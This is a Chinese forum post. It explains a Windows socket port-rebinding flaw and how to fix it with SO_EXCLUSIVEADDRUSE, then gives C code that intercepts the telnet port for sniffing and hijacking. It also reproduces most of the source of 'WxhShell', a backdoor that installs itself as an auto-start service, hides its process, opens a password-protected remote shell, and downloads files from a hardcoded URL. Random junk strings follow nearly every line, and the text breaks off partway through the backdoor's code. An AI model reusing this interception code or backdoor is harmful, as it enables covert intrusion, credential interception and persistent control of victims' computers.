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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q?LzL(OioN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aM1WC 'c&)  
l{.PyU5)  
  saddr.sin_family = AF_INET; Lg,ObVt!  
0PFC %x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D4(73  
#K@!jh)y^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L gX2KU"  
i <gt`UCO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 04=RoYMM  
^`dMjeF  
  这意味着什么?意味着可以进行如下的攻击: *oIIcE4g7  
0S;Ipg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t4d/%b~{:U  
eYoc(bG(+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0vDvp`ie#4  
roAHkI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5uSg]2:  
Gs|a$^V|o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  % q!i  
B/K=\qmm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @oj_E0i3  
kSol%C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *P7n YjG  
<3tf(?*,k]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P8=J0&5  
y]obO|AH  
  #include ?P9VdS1-  
  #include `FNU- I4s  
  #include k5tyOk  
  #include    []N&,2O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N;P/$  
  int main() y c<%f  
  { 0QquxYYw,  
  WORD wVersionRequested; h82y9($cZ  
  DWORD ret; &WAU[{4W  
  WSADATA wsaData; +/n]9l]#h  
  BOOL val; \8a014  
  SOCKADDR_IN saddr; !=;Evf  
  SOCKADDR_IN scaddr; imwn)]LR  
  int err; kn HrMD;  
  SOCKET s; wRwx((eb  
  SOCKET sc; H3d|eO4+W  
  int caddsize; K)`R?CZ:s  
  HANDLE mt; =? q&/ cru  
  DWORD tid;   <?8cVLW} O  
  wVersionRequested = MAKEWORD( 2, 2 ); d/3&3>/  
  err = WSAStartup( wVersionRequested, &wsaData ); wod{C!  
  if ( err != 0 ) { ~ W8 M3(^  
  printf("error!WSAStartup failed!\n"); gGA5xkA  
  return -1; v [x 5@$  
  } #3?"#),q  
  saddr.sin_family = AF_INET; cw~GH  
   l,A\]QDvl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e*( _Cvxp  
=8p[ (<F=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "Ya ;&F.'  
  saddr.sin_port = htons(23); rc%*g3ryLG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u|EJ)dT?  
  { 4U)%JK.ta  
  printf("error!socket failed!\n"); $1)NYsSH/H  
  return -1; T?u*ey~Tv  
  } /Z#AHfKF  
  val = TRUE; {BAZ`I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O f-gG~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ci(BPnQ  
  { -ECnX/ "  
  printf("error!setsockopt failed!\n"); p"cY/2w:j  
  return -1; WwSyw?T  
  } ao2o!-?!t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GLV`IkU %  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T_)+l)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r`u 9MJ*  
P:X X8&#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j.c4  
  { 1_}k)(n  
  ret=GetLastError(); ih:%U  
  printf("error!bind failed!\n"); ,<OS: ]  
  return -1; .&^M Z8  
  } FuBUg _h  
  listen(s,2); +`m0i1uI3  
  while(1) u |$GOSD  
  { /~<Przw  
  caddsize = sizeof(scaddr); MD>E0p)  
  //接受连接请求 u<j.XPK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }zeKf/?'  
  if(sc!=INVALID_SOCKET) Xa>c ]j  
  { RhjU^,%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S|@ Y !  
  if(mt==NULL) 7#T@CKdUd  
  { 1 EV0Y]T1  
  printf("Thread Creat Failed!\n"); Dp@m"_1`+  
  break; <sGioMr  
  } >6;RTN/P2  
  } ;]/cCi  
  CloseHandle(mt); JvW!w)$pY  
  } wYHyVY2tj2  
  closesocket(s); iqXsD gkr  
  WSACleanup(); tjm@+xs  
  return 0; Rg~[X5  
  }   WPu%{/ [  
  DWORD WINAPI ClientThread(LPVOID lpParam) z5[Qh<M  
  { 1b!5h  
  SOCKET ss = (SOCKET)lpParam; Y3hudjhLl  
  SOCKET sc; *nUa0Zg4q6  
  unsigned char buf[4096]; jN7Z} 1`  
  SOCKADDR_IN saddr; \WVY@eB  
  long num; !-gOqo  
  DWORD val; 0R,Y[).U  
  DWORD ret; sD<8-n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n6INI~,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h&{>4{  
  saddr.sin_family = AF_INET; u/?;J1z:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P(zquKm  
  saddr.sin_port = htons(23); B"RZpx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rf&nTDaWI  
  { 90$`AMR  
  printf("error!socket failed!\n"); _NbhWv  
  return -1; dFpP_U  
  } V3\} ]5  
  val = 100; FC8= ru  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A)^A2xZQ  
  { ?[O Sy.6  
  ret = GetLastError(); l {\@+m  
  return -1; QlxlT$o}  
  } FCYZ9L5uF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  YwB\kN  
  { t4iV[xl3F  
  ret = GetLastError(); j7Lw( AJ  
  return -1; lG X_5R  
  } Zxv{qbF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FEg&EYI  
  { s8kkf5bu  
  printf("error!socket connect failed!\n"); :3*0o3C/  
  closesocket(sc); Bk1gE((  
  closesocket(ss); RK=YFE 0  
  return -1; W&a<Q)o*I  
  } <QE/p0.  
  while(1) \hZ9in`YlR  
  { <.6$zcW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 en gh3TZC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3^AS8%qG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z#| tl/aP9  
  num = recv(ss,buf,4096,0); ;,LlOR  
  if(num>0) `\S~;O  
  send(sc,buf,num,0); )'?@raB!  
  else if(num==0) u:4?$%rB  
  break; ^`!EpO>k9  
  num = recv(sc,buf,4096,0); o"A%dC_  
  if(num>0) nF| m*_DW  
  send(ss,buf,num,0); P}Ule|&LK  
  else if(num==0) 5 %aT  
  break; R:DW>LB  
  } j6)@kW9x  
  closesocket(ss); })r[q sv  
  closesocket(sc); ='r4z z  
  return 0 ; E)l@uPA'1  
  } nbz?D_  
;tLu  
{mV,bg,}~  
========================================================== c7N`W}BZ  
-n$fh::^  
下边附上一个代码,,WXhSHELL r`/tb^  
w-MnJ(r  
========================================================== %!1:BQ,p,i  
Y3I+TI>x  
#include "stdafx.h" I"+;L4o`  
c=HL 6v<  
#include <stdio.h> f_Q_qckB%x  
#include <string.h> WAcQRa~C  
#include <windows.h> MA:8g D  
#include <winsock2.h> +#y[sKa  
#include <winsvc.h> E>?T<!r~j  
#include <urlmon.h> m)?cXM  
eJ!a8   
#pragma comment (lib, "Ws2_32.lib") D8Vb@5MW  
#pragma comment (lib, "urlmon.lib") tpi63<N  
"n@=.x  
#define MAX_USER   100 // 最大客户端连接数 jW+L0RkX  
#define BUF_SOCK   200 // sock buffer mYzq[p_|j  
#define KEY_BUFF   255 // 输入 buffer j^~WAWbFh  
%@jv\J  
#define REBOOT     0   // 重启 Iih~rWJ  
#define SHUTDOWN   1   // 关机 yN~: 3  
Lw.N3!e[  
#define DEF_PORT   5000 // 监听端口 vg1p{^N !  
E8Wgm 8  
#define REG_LEN     16   // 注册表键长度 )f0t"lk  
#define SVC_LEN     80   // NT服务名长度 eESJk 14  
-3c?Yaf"  
// 从dll定义API PV%7 m7=x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z|SLH<~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R3$e q )  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %8+'L4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +x0-hRD  
%+9Mr ami  
// wxhshell配置信息 2FS,B\d  
struct WSCFG { G}\E{VvWh  
  int ws_port;         // 监听端口 l$Y7CIH  
  char ws_passstr[REG_LEN]; // 口令 |&TRN1  
  int ws_autoins;       // 安装标记, 1=yes 0=no l>M&S^/s j  
  char ws_regname[REG_LEN]; // 注册表键名 <H~  (iQ  
  char ws_svcname[REG_LEN]; // 服务名 ZUMzWK5Th  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T{j&w%(z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @4b"0ne}h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #s Ebu^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LE!3'^Zq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i5*sG^<$H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @hWt.qO3s  
{j E}mzi  
}; Y0U<l1(|  
^YKEc0"w(  
// default Wxhshell configuration h^bbU.  
struct WSCFG wscfg={DEF_PORT, Ydu=J g5u7  
    "xuhuanlingzhe", Qp${/  
    1, J%_ :A"  
    "Wxhshell", 'on, YEp  
    "Wxhshell", @&d/}Mx"t  
            "WxhShell Service", OY6l t.t  
    "Wrsky Windows CmdShell Service", *Oo2rk nQ  
    "Please Input Your Password: ", cX553&  
  1, b07 MTDFH7  
  "http://www.wrsky.com/wxhshell.exe", Y] nY.5irL  
  "Wxhshell.exe" qGgT<Rd~1  
    }; Zcv1%hI  
e?G] fz  
// 消息定义模块 o% !a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c0jC84*v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?!~CX`eMZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Y!@,rKd   
char *msg_ws_ext="\n\rExit."; a3037~X  
char *msg_ws_end="\n\rQuit."; \?)<==^  
char *msg_ws_boot="\n\rReboot..."; Pd\S{ Y~wk  
char *msg_ws_poff="\n\rShutdown..."; Ohnd:8E  
char *msg_ws_down="\n\rSave to "; &}%3yrU  
B}YB%P_CWs  
char *msg_ws_err="\n\rErr!"; aBT|Q@Y.  
char *msg_ws_ok="\n\rOK!"; \=4[v-3 H  
BfIGw  
char ExeFile[MAX_PATH]; -2mm 5E~N  
int nUser = 0; QE$sXP7 &u  
HANDLE handles[MAX_USER]; R y0n_J:7  
int OsIsNt; zrG&p Z  
H{`S/>)[   
SERVICE_STATUS       serviceStatus; m> ?OjA!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2bfKD'!aH  
Rg,pC.7;  
// 函数声明 _w=si?q  
int Install(void); "wTA9\  
int Uninstall(void); ]Z@- r  
int DownloadFile(char *sURL, SOCKET wsh); ep Eg 6   
int Boot(int flag); W)?B{\  
void HideProc(void); $AUC#<*C  
int GetOsVer(void); _bn*B$  
int Wxhshell(SOCKET wsl); p^A9iieHp=  
void TalkWithClient(void *cs); Ylll4w62N  
int CmdShell(SOCKET sock); BYrj#n5  
int StartFromService(void); Y_)!U`>N?  
int StartWxhshell(LPSTR lpCmdLine); /N7j5v(  
*K'(t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `$7j:<c=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O!kBp(?]  
f 6Bx>lh  
// 数据结构和表定义 ; 7[5%xM  
SERVICE_TABLE_ENTRY DispatchTable[] = +hRAU@RA  
{ *obBo6!zM  
{wscfg.ws_svcname, NTServiceMain}, TP[<u-@G  
{NULL, NULL} ! iA0u  
}; Q\Fgc ;.U  
+glT5sOk  
// 自我安装 [&y{z-D>  
int Install(void) {?17Zth  
{ :03w k)  
  char svExeFile[MAX_PATH]; NB;8 e>8  
  HKEY key; noC ]&4b  
  strcpy(svExeFile,ExeFile); E=3<F_3W  
,[%KSyH  
// 如果是win9x系统,修改注册表设为自启动 |#Bz&T  
if(!OsIsNt) { G@ XKE17  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]i)m   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,n}X,#]  
  RegCloseKey(key); 5vxJ|Hse@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &[}b HX /  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =U!M,zw4  
  RegCloseKey(key); 0$%:zHi5g  
  return 0; dQQh$*IL?{  
    } 6SIk?]u  
  } { ,qm=Xjq  
} n:,At] ky  
else { Dx/BxqG6}_  
(\>3FwFHW|  
// 如果是NT以上系统,安装为系统服务 G< l+94(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jc"xH~,  
if (schSCManager!=0) 61HU_!A8S  
{ iF?4G^  
  SC_HANDLE schService = CreateService M3c-/7  
  ( h.E8G^}@  
  schSCManager, /\V-1 7-  
  wscfg.ws_svcname, ;tP-#Xf  
  wscfg.ws_svcdisp, $+!/=8R)  
  SERVICE_ALL_ACCESS, SZW`|ajH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B>WAlmPA  
  SERVICE_AUTO_START, +1~Y2   
  SERVICE_ERROR_NORMAL, 9`81br+~  
  svExeFile, R$IxR=hMx  
  NULL, j BS$xW  
  NULL, Q\z6/1:9Z  
  NULL, fwK5p?Xhm  
  NULL, t23uQR#>b_  
  NULL D |kdk;Xv  
  ); \3LP@;Phn  
  if (schService!=0) `+[Ct08  
  { Z1 %"w*U  
  CloseServiceHandle(schService); gE]6]L  
  CloseServiceHandle(schSCManager); D]\of#%T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FCnOvF65  
  strcat(svExeFile,wscfg.ws_svcname); $8vZiB!"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nj$TdwZbK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kur3Gf X  
  RegCloseKey(key); ]KdSwIbi  
  return 0; 7)tkqfb]  
    } ~v"4;A 6  
  } +sq'\Tbp  
  CloseServiceHandle(schSCManager); vg[A/$gLM  
} Zvz Zs  
} Jw3VWc ]]  
AI0YK"c?  
return 1; m r"b/oM{  
} hkB/ OJ  
$5N%!  
// 自我卸载 ],#Xa.r  
int Uninstall(void) #d2XVpO[0  
{ Hd]o?q\  
  HKEY key; ^)oBa=jL4  
viB'ul7o  
if(!OsIsNt) { A?i ~*#wE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Y>'*4a\  
  RegDeleteValue(key,wscfg.ws_regname); *:S_v.Y3"  
  RegCloseKey(key); $p:RnH\H1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DSjEoWj   
  RegDeleteValue(key,wscfg.ws_regname); X5@+M!`  
  RegCloseKey(key);  |Hx#Uk#  
  return 0; V>D8l @  
  } 4eH:eCZze  
} @h7)M:l  
} P/i{_r  
else { hOZ:r =%  
>-U'mkIH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3L}eF g,d  
if (schSCManager!=0) 3-x ;_  
{ *\Z9=8yK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9U~fc U6  
  if (schService!=0) U )kl !  
  { 8J|2b; Vf  
  if(DeleteService(schService)!=0) { Nz/PAs7g6  
  CloseServiceHandle(schService); JBqL0H  
  CloseServiceHandle(schSCManager); Qw>~] d,Z  
  return 0; OlRtVp1  
  } !r\u,l^  
  CloseServiceHandle(schService); o%3i(H  
  } >7g #e,d   
  CloseServiceHandle(schSCManager); 'Ur1I "  
} 6mp8v`b  
} #+CH0Z  
sg YPR  
return 1; gOiZ8K!  
} Uh[MB wK  
` 1Ui  
// 从指定url下载文件 ;]v{3m  
int DownloadFile(char *sURL, SOCKET wsh) Kk.a9uKI}  
{ Wo)$*?  
  HRESULT hr; <pA%|]  
char seps[]= "/"; U{1%ldOJ%  
char *token; 2{U5*\FhVX  
char *file; co^bS;r  
char myURL[MAX_PATH]; `qoRnG  
char myFILE[MAX_PATH]; F8xz^UQO  
^mH:8_=(.  
strcpy(myURL,sURL); HSwC4y}  
  token=strtok(myURL,seps); 2 |`7_*\  
  while(token!=NULL) l4Au{%j\  
  { 6roq 1=   
    file=token; HxUJ 0Q  
  token=strtok(NULL,seps); ,9,cN-/a  
  } P^(uS'j)+  
\_io:{M  
GetCurrentDirectory(MAX_PATH,myFILE); _oz1'}=  
strcat(myFILE, "\\"); d1jg3{pwA  
strcat(myFILE, file); Z  FIy  
  send(wsh,myFILE,strlen(myFILE),0); ":v^Y 9  
send(wsh,"...",3,0); q@i>)nC R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zv .#9^/y  
  if(hr==S_OK) DpCe_Vb%M  
return 0; F\u]X  
else Z.}Z2K  
return 1; "+XF'ZO  
SfSWjq  
} #,[z}fq  
m@Hg:DY  
// 系统电源模块 g"{`g6(+  
int Boot(int flag) Kz~E"?  
{ C6"{-{H  
  HANDLE hToken; d9iVuw0u<  
  TOKEN_PRIVILEGES tkp; [n]C  
]hMs:$}  
  if(OsIsNt) { g3|k-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8Y"R@'~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E]w2 {%  
    tkp.PrivilegeCount = 1; ?_-5W9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sA~Ijg"6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rS>@>8k2,  
if(flag==REBOOT) { w`GjQIA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zK_Q^M`  
  return 0; /+wCx#!  
} 73j\!x  
else { "]T1DG"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *j~ObE_y  
  return 0; ECsb?n7e  
} B#]:1:Qn  
  }  o,rK8x  
  else { <=~*`eWV  
if(flag==REBOOT) { GX+Gqj.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %)ri:Qq  
  return 0;  eC[G4  
} ,UYe OM2Ao  
else { h[bC#(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3mQ3mV:  
  return 0; '7<^x>D|  
} :jAsm[  
} {3T&6LA  
z? Iu;X  
return 1; s .@Szq  
} qXprD.; }  
lFp:F5  
// win9x进程隐藏模块 XL/V>`E@  
void HideProc(void) o\<JG?P  
{ FM=XoMP q  
e%km}mA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dUQ )&Hv  
  if ( hKernel != NULL ) Bx/)Sl@  
  { ], IQ~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }#q0K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DzbcLg%:W  
    FreeLibrary(hKernel); `z^50Vh|  
  } hwQrmVwvP  
mGpBj9jr1  
return; s"`Oj5  
} xyP 0haE  
},=ORIB B:  
// 获取操作系统版本 N(e>]ui  
int GetOsVer(void) a51}~V1  
{ ~Qd|.T  
  OSVERSIONINFO winfo; au E8 ^|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,V9 r2QY  
  GetVersionEx(&winfo); .?5~zet#;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bzaweA H  
  return 1; }tW1\@ =  
  else wE -y4V e  
  return 0; g)ofAG2  
} SmS6B5j\R  
l\"CHwN?Y  
// 客户端句柄模块 : sG/  
int Wxhshell(SOCKET wsl) l1.eAs5U  
{ \qDY0hIv t  
  SOCKET wsh; Mr*CJgy  
  struct sockaddr_in client; r]'[qaP  
  DWORD myID; ]5Q)mWF  
CD. XZA[  
  while(nUser<MAX_USER) Y>{%,d#s_  
{ E#A}2|7,g  
  int nSize=sizeof(client); [s+FX5'K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :j#zn~7  
  if(wsh==INVALID_SOCKET) return 1; *Z+U}QhHD6  
, {}S<^?]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |kF"p~s  
if(handles[nUser]==0) 5s%FHa  
  closesocket(wsh); 2J Wp5  
else /!_FE+  
  nUser++; J|@O4 g   
  } )h]tKYx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f[*g8p  
vl!o^_70(  
  return 0; &gP1=P,!  
} ;Za^).=  
sHPlNwyy  
// 关闭 socket lmIphOUoIw  
void CloseIt(SOCKET wsh) u`XZtF<vf  
{ gk}.L E  
closesocket(wsh); LWxP}? =  
nUser--; [B^V{nUBc  
ExitThread(0); &Z}}9dd  
} pf#R]  
Abpzf\F  
// 客户端请求句柄 4<- E0  
void TalkWithClient(void *cs) l}FA&c"  
{ W6)XMl}n  
Bnz}:te}  
  SOCKET wsh=(SOCKET)cs; gF]IAZCi  
  char pwd[SVC_LEN]; P@<K&S+f  
  char cmd[KEY_BUFF]; " ;o, D  
char chr[1]; @7sHFwtar?  
int i,j; ,D.@6 bJW  
iA4VT,  
  while (nUser < MAX_USER) { .B! L+M< [  
MnQ 6 !1Z  
if(wscfg.ws_passstr) { KhPDXY]!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wt=%.Y( x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :2lM7|@/  
  //ZeroMemory(pwd,KEY_BUFF); EkOn Rm_hn  
      i=0; dCWq~[[  
  while(i<SVC_LEN) { T2to!*T  
SIzA0  
  // 设置超时 >?{> !#1  
  fd_set FdRead; orEb+  
  struct timeval TimeOut; o{7w&Pgs2  
  FD_ZERO(&FdRead); cr!sq.)s  
  FD_SET(wsh,&FdRead); j[=P3Z0q  
  TimeOut.tv_sec=8; F3nPQw{;  
  TimeOut.tv_usec=0; "77l~3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9x14I2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s{fL~}Yz  
S+pm@~xe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =]L#v2@  
  pwd=chr[0]; `J}FSUn\  
  if(chr[0]==0xd || chr[0]==0xa) { ` kZ"5}li  
  pwd=0; gT|&tTS1@  
  break; ^izf&W.j!  
  } ?`B6I!S0[  
  i++; WWA!_  
    } )IuwI#pm  
Lf,C5 0  
  // 如果是非法用户,关闭 socket 3UcOpq2i\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UvGX+M,z'  
} YY$O"!."  
hw&~OJeo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tY?evsVgz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6}_J;g\|  
Bn Nu/02.=  
while(1) { af/;Dr@  
>;X^+JH!)  
  ZeroMemory(cmd,KEY_BUFF); 7v(<<>  
wHErF #xo  
      // 自动支持客户端 telnet标准   Z.0mX#  
  j=0; zQtx!k=  
  while(j<KEY_BUFF) { peU1 t:k?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l 4cTN @E  
  cmd[j]=chr[0]; ={nuz-3  
  if(chr[0]==0xa || chr[0]==0xd) { -:V2Dsr6;  
  cmd[j]=0; f q*V76F  
  break; 68!=`49r>  
  } Z15b'^)?9  
  j++; &&n-$WEl  
    } M5B?`mTl  
lJ<( mVt  
  // 下载文件 N4, !b_1  
  if(strstr(cmd,"http://")) { BeM|1pe.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !7uFH PK-  
  if(DownloadFile(cmd,wsh)) H.TPKdVX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4(FS  
  else V[">SiOg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1L.yh U\  
  } -GL-&^3IjH  
  else { f>+:UGmP  
n 4EZy<~m  
    switch(cmd[0]) { zj'uKBDl  
  K/LoHWy+n*  
  // 帮助 jF%l\$)/  
  case '?': { Jz)c|8U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `L "{sW6S  
    break; >c@1UEwkm  
  } y7#vH<  
  // 安装 mr`EcO0  
  case 'i': { zC$(/nZ  
    if(Install()) N:rnH:g+:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12yX`9h>  
    else Ks^EGy+O:-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J_ `\}55n  
    break; B ? D|B  
    } 4N{^niq7  
  // 卸载 b~m|mb$  
  case 'r': { }MV=t7x9+  
    if(Uninstall()) T8J[B( )L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_G'wU3R  
    else ESv&x6H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wz 5*?[4  
    break; 0t}&32lL&  
    } .cm$*>LW:x  
  // 显示 wxhshell 所在路径 #3Jn_Y%P.  
  case 'p': { 4O3-PU>N  
    char svExeFile[MAX_PATH]; V s1Z$HS`  
    strcpy(svExeFile,"\n\r"); TfqQh!Y  
      strcat(svExeFile,ExeFile); NpYzN|W:  
        send(wsh,svExeFile,strlen(svExeFile),0); eMDraJv@  
    break; ZfN%JJOz(  
    } c*x5t"{  
  // 重启 )~[hf,R5S  
  case 'b': { p'IF2e&z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SiQszV.&  
    if(Boot(REBOOT)) ~m.@{Do0p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.R 7#^.  
    else { E 14Dq#L  
    closesocket(wsh); *f$wmZ5A  
    ExitThread(0); WT>2eMK[  
    } 3.s.&^  
    break; ] 'ybu&22  
    } TwXqk>J  
  // 关机 )F) (Hg  
  case 'd': { V3$Yr"rZ;  
